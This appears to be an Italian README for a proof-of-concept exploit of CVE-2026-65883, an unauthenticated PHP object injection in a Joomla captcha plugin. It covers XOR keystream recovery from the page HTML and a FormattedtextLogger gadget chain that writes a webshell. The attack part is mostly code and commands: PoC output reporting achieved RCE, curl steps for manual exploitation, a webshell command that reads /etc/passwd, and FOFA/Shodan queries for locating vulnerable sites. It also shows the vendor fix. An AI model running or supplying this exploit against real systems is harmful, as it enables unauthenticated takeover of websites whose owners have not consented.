CVE-2026-65883 — Aimy Captcha-Less Form Guard <= 20.0

Campo clfgd → Recupero XOR → unserialize() → FormattedtextLogger → RCE

Panoramica

Iniezione di oggetti PHP non autenticata in Aimy Captcha-Less Form Guard per Joomla. Il metodo onCheckAnswer() decodifica in base64 il campo POST clfgd controllato dall'attaccante, lo passa attraverso uno XOR a chiave ripetuta e passa il risultato direttamente a unserialize() — senza HMAC, senza restrizioni su allowed_classes e senza controllo di integrità.

Versioni Interessate

Meccanismo della Vulnerabilità

Causa Principale

Il metodo onCheckAnswer() in plg_captcha_aimycaptchalessformguard passa l'input controllato dall'attaccante direttamente a unserialize():

// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
    $cld = @unserialize(
        XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
    );
}

La "crittografia" XOR è un cifrario di Vigenère con una chiave per sessione — nessuna autenticazione, solo offuscamento.

La Crittografia Rotta

// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
    $ekey = str_split(self::getHashedKey($key));  // sha512.sha256.sha1 = 232 hex
    $s    = str_split(strVal($bytes));
    $klen = count($ekey);
    for ($i = 0; $i < count($s); $i++) {
        $val .= $s[$i] ^ $ekey[$i % ($klen - 1)];  // period 231
    }
    return $val;
}

Recupero del Keystream

Il plugin renderizza sia il testo cifrato che il testo in chiaro nella stessa risposta HTML:

// onDisplay()
$cld->trap_ids = array($id, $trap_id);      // readable from HTML
$cld->mt       = time() + 7;                 // known (server time + 7s)
$html .= '<input name="clfgd" value="'
      . base64_encode(XorHelper::crypt(serialize($cld), $key))
      . '" />';

Poiché sia trap_ids (estrattabile dallo <span id="..._mark"> e dall'input honeypot) sia il testo cifrato sono nell'HTML, applicando XOR si recuperano ~94 byte del keystream di 231 byte.

Flusso dell'Attacco

1. GET su qualsiasi modulo protetto da captcha (registrazione, login, contatto, reset password)
2. Estrai testo cifrato clfgd + trap_ids + timing → recupera 94 byte del keystream
3. Allinea un oggetto serializzato FormattedtextLogger in modo che i byte strutturali cadano su posizioni note del keystream
4. POST di clfgd manipolato → unserialize() → __destruct() → formatLine() → scrive una webshell PHP
5. GET /random.php?c=id → RCE come www-data

Prova di Concetto

Target Singolo

$ python cve_2026_65883.py -t target.com

  Target      : target.com
  Status      : Aimy Captcha-Less Form Guard v20.0
  Form        : /index.php?option=com_users&view=registration
  Keystream   : 94 bytes recovered
  Shell       : a1b2c3d4e5.php
  Gadget      : 1460 bytes
  POST        : HTTP 303
  Shell URL   : https://target.com/a1b2c3d4e5.php
  RCE         : CONFIRMED!

RCE ACHIEVED!
  https://target.com/a1b2c3d4e5.php?c=id

Sfruttamento Manuale

# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
  | grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin

# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"

# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"

FOFA / Shodan

# Aimy Captcha hidden field
body="clfgd" && body="Joomla"

# Plugin version disclosure
body="aimycaptchalessformguard"

# Shodan
http.html:"clfgd" http.component:"Joomla"

La Correzione (20.1)

// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

json_decode() non può istanziare oggetti PHP — la catena di gadget POP è interrotta.

Impatto

• RCE completa — esegue comandi arbitrari come www-data
• Nessuna autenticazione richiesta — qualsiasi modulo pubblico con captcha è un vettore
• Joomla 3.9–5.2.1 — il gadget FormattedtextLogger funziona su tutte le versioni
• Persistente — la webshell rimane finché non viene eliminata manualmente

Dichiarazione di non responsabilità

Questo strumento è destinato esclusivamente a test di sicurezza educativi e autorizzati. Utilizzalo solo su sistemi di tua proprietà o per i quali hai il permesso esplicito di testare.

Riferimenti

_{Non affiliato con Aimy Extensions o VulnCheck.}